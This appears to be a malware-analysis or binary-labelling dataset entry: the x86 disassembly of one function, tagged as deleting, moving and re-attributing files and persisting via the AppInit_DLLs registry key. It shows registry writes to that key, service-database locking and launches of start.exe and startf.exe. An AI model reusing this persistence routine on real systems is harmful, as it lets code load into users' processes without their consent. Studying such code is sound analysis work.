Function at 0x413af0
Capabilities:
Delete file
Move file
Persist via appinit_dlls registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3148
call fcn.0040ace0
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x3138], 0x11c
lea eax, [ebp - 0x3138]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0x4183b4
push 0
call fcn.00403813
add esp, 8
push 0x1000
push 0x441958
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
push 0x441958
call fcn.00401080
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x413b5f
xor ecx, ecx
mov edx, dword [ebp - 4]
mov word [edx], cx
push 0xb
push 0x43e550
call fcn.0040e8d0
add esp, 8
push 0x3b
push 0x43fdb0
call fcn.0040f170
add esp, 8
push 0x29
push 0x43ea78
call fcn.0040ebd0
add esp, 8
push 0xb
push 0x43e550
call fcn.0040e810
add esp, 8
push 0x3b
push 0x43fdb0
call fcn.0040e810
add esp, 8
push 0x29
push 0x43ea78
call fcn.0040e810
add esp, 8
push 0x441958
call fcn.004030f8
add esp, 4
push 0x441958
call fcn.0040e450
add esp, 4
push 0x441958
push 0x442958
call fcn.00401198
add esp, 8
push 0x4183b8
push 0x442958
call fcn.0040116a
add esp, 8
push 0x4183bc
push 0x442958
call fcn.0040116a
add esp, 8
call fcn.00412010
call fcn.0040d490
call fcn.0040db60
cmp dword [0x445b2c], 0
je 0x413c3a
push 4
call fcn.00413ad0
add esp, 4
call fcn.0040f8c0
call fcn.00410c30
call fcn.0040e300
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x200c], eax
cmp dword [0x445b74], 0
je 0x413ce1
lea ecx, [ebp - 0x3014]
push ecx
push 0x20c
mov edx, dword [ebp - 0x200c]
push edx
mov eax, dword [0x445b74]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceLockStatusW]
test eax, eax
je 0x413ce1
mov ecx, dword [ebp - 0x200c]
cmp dword [ecx], 0
jne 0x413c95
mov edx, dword [0x445b74]
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [0x445b78], eax
jmp 0x413ce1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x3014]
push eax
push 0x20c
mov ecx, dword [ebp - 0x200c]
push ecx
mov edx, dword [0x445b74]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceLockStatusW]
test eax, eax
je 0x413ce1
mov eax, dword [ebp - 0x200c]
cmp dword [eax], 0
jne 0x413ce1
mov ecx, dword [0x445b74]
push ecx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [0x445b78], eax
push 0xb
push 0x43e550
call fcn.0040e810
add esp, 8
push 0x3b
push 0x43fdb0
call fcn.0040e810
add esp, 8
push 0x29
push 0x43ea78
call fcn.0040e810
add esp, 8
cmp dword [0x445b2c], 0
je 0x413d30
push 4
call fcn.00413ad0
add esp, 4
call fcn.0040f8c0
call fcn.00410c30
call fcn.0040e300
push 0x4183c8
push 0x4183cc
push 0x4183d4
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
push 0x10000
call fcn.00413990
add esp, 0x18
cmp dword [0x445af0], 0
je 0x413d8a
call fcn.0040d470
push 0x4183f0
push 0x4183f4
push 0x4183fc
push str.SoftwareWow6432NodeMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
push 0x10000
call fcn.00413990
add esp, 0x18
mov dword [ebp - 0x3140], 0
jmp 0x413da5
mov edx, dword [ebp - 0x3140]
add edx, 1
mov dword [ebp - 0x3140], edx
mov eax, dword [ebp - 0x3140]
cmp eax, dword [0x445afc]
jge 0x413e60
lea ecx, [ebp - 0x1008]
push ecx
mov edx, dword [ebp - 0x3140]
imul edx, edx, 0x1a70
add edx, dword [0x445af4]
push edx
call fcn.0040daa0
add esp, 8
lea eax, [ebp - 0x1008]
push eax
lea ecx, [ebp - 0x3010]
push ecx
call fcn.00401198
add esp, 8
push 0x41849c
lea edx, [ebp - 0x3010]
push edx
call fcn.0040116a
add esp, 8
push 0
lea eax, [ebp - 0x3010]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x3010]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea edx, [ebp - 0x1008]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x3010]
push eax
lea ecx, [ebp - 0x1008]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x3140]
imul edx, edx, 0x1a70
mov ecx, dword [0x445af4]
mov dword [ecx + edx + 0x1a6c], eax
jmp 0x413d96
push 0
call fcn.00412d50
add esp, 4
push 1
call fcn.00412d50
add esp, 4
push 2
call fcn.00412d50
add esp, 4
push 0xb
push 0x43e550
call fcn.0040e810
add esp, 8
push 0x3b
push 0x43fdb0
call fcn.0040e810
add esp, 8
push 0x29
push 0x43ea78
call fcn.0040e810
add esp, 8
cmp dword [0x445b2c], 0
je 0x413ecd
push 1
call fcn.00413ad0
add esp, 4
call fcn.0040f8c0
call fcn.00410c30
call fcn.0040e300
mov dword [ebp - 0x313c], 0
push 0x441958
lea edx, [ebp - 0x2008]
push edx
call fcn.00401198
add esp, 8
push str.start.exe
lea eax, [ebp - 0x2008]
push eax
call fcn.00411da0
add esp, 8
push 0x4184bc
lea ecx, [ebp - 0x2008]
push ecx
call fcn.0040d530
add esp, 8
test eax, eax
je 0x413f24
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413f56
cmp dword [ebp + 0x10], 0
je 0x413f40
mov edx, dword [ebp + 0x10]
movzx eax, word [edx]
test eax, eax
je 0x413f40
mov dword [ebp - 0x3148], 0
jmp 0x413f4a
mov dword [ebp - 0x3148], 1
mov ecx, dword [ebp - 0x3148]
mov dword [ebp - 0x313c], ecx
mov dword [ebp - 0x3144], 0
jmp 0x413f71
mov edx, dword [ebp - 0x3144]
add edx, 1
mov dword [ebp - 0x3144], edx
mov eax, dword [ebp - 0x3144]
cmp eax, dword [0x445afc]
jge 0x414011
mov ecx, dword [ebp - 0x3144]
imul ecx, ecx, 0x1a70
mov edx, dword [0x445af4]
cmp dword [edx + ecx + 0x1a6c], 0
je 0x41400c
lea eax, [ebp - 0x1008]
push eax
mov ecx, dword [ebp - 0x3144]
imul ecx, ecx, 0x1a70
add ecx, dword [0x445af4]
push ecx
call fcn.0040daa0
add esp, 8
lea edx, [ebp - 0x1008]
push edx
lea eax, [ebp - 0x3010]
push eax
call fcn.00401198
add esp, 8
push str..log
lea ecx, [ebp - 0x3010]
push ecx
call fcn.0040116a
add esp, 8
lea edx, [ebp - 0x1008]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x1008]
push eax
lea ecx, [ebp - 0x3010]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x413f62
cmp dword [0x445b78], 0
je 0x414027
mov edx, dword [0x445b78]
push edx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
call fcn.0040db00
call fcn.0040f8d0
cmp dword [ebp - 0x313c], 0
je 0x414076
push 0x441958
lea eax, [ebp - 0x2008]
push eax
call fcn.00401198
add esp, 8
push str.startf.exe
lea ecx, [ebp - 0x2008]
push ecx
call fcn.00411da0
add esp, 8
push 0x4184e8
lea edx, [ebp - 0x2008]
push edx
call fcn.0040d530
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004010d5
mov esp, ebp
pop ebp
ret 0x10